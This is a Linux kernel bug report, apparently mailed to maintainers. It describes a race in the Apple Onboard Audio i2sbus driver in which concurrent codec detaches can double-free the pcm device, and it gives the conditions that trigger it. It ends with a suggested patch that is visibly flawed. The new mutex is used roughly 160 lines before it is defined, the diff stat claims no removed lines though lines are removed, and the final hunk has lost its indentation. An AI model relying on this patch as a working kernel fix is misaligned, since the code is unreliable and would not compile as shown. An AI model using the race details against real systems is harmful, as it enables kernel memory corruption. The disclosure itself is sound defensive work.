Source analysis against the mainline 7.3 release tree (unmodified); sound/aoa/soundbus/i2sbus/pcm.c, sound/aoa/soundbus/soundbus.h, sound/aoa/fabrics/layout.c and sound/aoa/core/core.c are byte-identical to mainline 7.3; line numbers below are from 7.3. No dynamic run was possible: AOA (Apple Onboard Audio, sound/aoa/) exists only on PowerMac hardware (macio/i2sbus/i2c), which our x86 QEMU environment cannot instantiate. The related ALSA-core mechanism (concurrent snd_device_free() vs. the unlocked card->devices walkers) has been demonstrated separately on 7.3 in a controlled collision run of another report (14 use-after-free reports across snd_device_disconnect_all()/snd_hwdep_dev_disconnect); that collision was harness-driven and is cited only as mechanism evidence, not as a natural-timing result.

* Mechanism

- Entry points and their locks:

      codec driver rmmod/unbind -> aoa_codec_unregister()
      (core/core.c:72-82) -> codec->exit = onyx_exit_codec/tas_exit_codec
      (onyx.c:966-973, tas.c:838-843) -> dev->detach_codec =
      i2sbus_detach_codec (core.c:228-229)  [i2c client lock]
      i2sbus macio removal -> i2sbus_remove() (i2sbus/core.c:371-379)
      -> soundbus_remove_one() -> device_del() ->
      aoa_fabric_layout_remove() (layout.c) ->
      aoa_fabric_unlink_codec() (core.c:133-148) -> codec->exit() ->
      i2sbus_detach_codec  [soundbus/macio device lock]
      fabric module rmmod -> aoa_fabric_unregister() ->
      aoa_fabric_unlink_codec() per codec, then aoa_alsa_cleanup() ->
      snd_card_free()  [no i2c lock]

- The unchecked sequence: i2sbus_detach_codec() does

    list_for_each_entry over dev->codec_list, list_del(&cii->list),
    then "if (list_empty(&dev->codec_list) && dev->pcm)
    snd_device_free(dev->pcm->card, dev->pcm)".  dev->pcm is only
    cleared by i2sbus_private_free() (the pcm->private_free callback),
    which runs late inside the first snd_device_free() -- leaving a
    wide two-thread check-then-free window.

- The double device_free: snd_device_free() looks the entry up in the card->devices list (look_for_dev(), sound/core/device.c:82-91, unlocked), list_del()s it and kfree()s the wrapper; two concurrent calls on the same device_data either both find it (two __snd_device_free() -> two snd_pcm_free() -> two kfree(pcm), plus a double list_del of the same node) or the second walks the list while the first mutates/frees it.

* Trigger model

Root on a PowerMac with an AOA layout that attaches two codecs to one i2sbus (the layout tables support MAX_CODECS_PER_BUS = 2):
concurrent rmmod snd-aoa-codec-onyx and rmmod snd-aoa-codec-tas (or two concurrent i2c unbinds), or a codec rmmod racing rmmod snd-aoa-soundbus / i2sbus device removal. Consequence:
pcm double free, card->devices list corruption and use-after-free on struct snd_device; the same corruption then propagates into snd_card_do_free()'s device walk.

* Reproducer

None attached -- the platform is unavailable to us and we did not want to hand a synthetic hammer for a driver we cannot test; the interleaving above is directly constructible with the module lifecycle commands on any PowerMac with a two-codec layout.

* Suggested patch

Serialize codec_list / dev->pcm with a per-driver mutex taken by both i2sbus_attach_codec() and i2sbus_detach_codec() (the attach path's list_add and pcm creation are equally unserialized), and claim dev->pcm before calling snd_device_free() so a concurrent detach can never re-enter the free. A deeper fix -- anchoring the pcm lifetime on its device with file-held references, like the suggested hwdep/rawmidi/pcm patches in the sibling reports -- would additionally close the open-fd window of this detach path; that core change is discussed in those mails and out of scope here. The complete patch against 7.3 follows (also kept as patch/0001-fw-mr07.patch); happy to rework per review.

---- patch begins ----
---

sound/aoa/soundbus/i2sbus/pcm.c +10 -0
@@ -862,6 +862,13 @@
 	struct i2sbus_dev *i2sdev = soundbus_dev_to_i2sbus_dev(dev);
 	struct codec_info_item *cii;
 
+	/*
+	 * codec attach/detach run from i2c driver context while bus removal
+	 * runs from soundbus/macio context; the two hold different device
+	 * locks, so codec_list and dev->pcm need their own serialization.
+	 */
+	guard(mutex)(&i2sbus_pcm_mutex);
+
 	if (!dev->pcmname || dev->pcmid == -1) {
 		printk(KERN_ERR "i2sbus: pcm name and id must be set!\n");
 		return -EINVAL;
@@ -1018,10 +1025,19 @@
 	return err;
 }
 
 
 
+static DEFINE_MUTEX(i2sbus_pcm_mutex);
+
 void i2sbus_detach_codec(struct soundbus_dev *dev, void *data)
 {
 	struct codec_info_item *cii = NULL, *i;
 
+	guard(mutex)(&i2sbus_pcm_mutex);
 	list_for_each_entry(i, &dev->codec_list, list) {

if (i->codec_data == data) {
cii = i;
@@ -1035,7 +1051,13 @@
}
/* no more codecs, but still a pcm? */
if (list_empty(&dev->codec_list) && dev->pcm) {
+ struct snd_pcm *pcm = dev->pcm;
+ struct snd_card *card = pcm->card;
+
+ /* claim before freeing: a concurrent detach_codec() must
+ * not re-enter snd_device_free() on the same pcm */
+ dev->pcm = NULL;
/* the actual cleanup is done by the callback above! */
- snd_device_free(dev->pcm->card, dev->pcm);
- }
-}
+ snd_device_free(card, pcm);
+ }
+}
---- patch ends ----

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]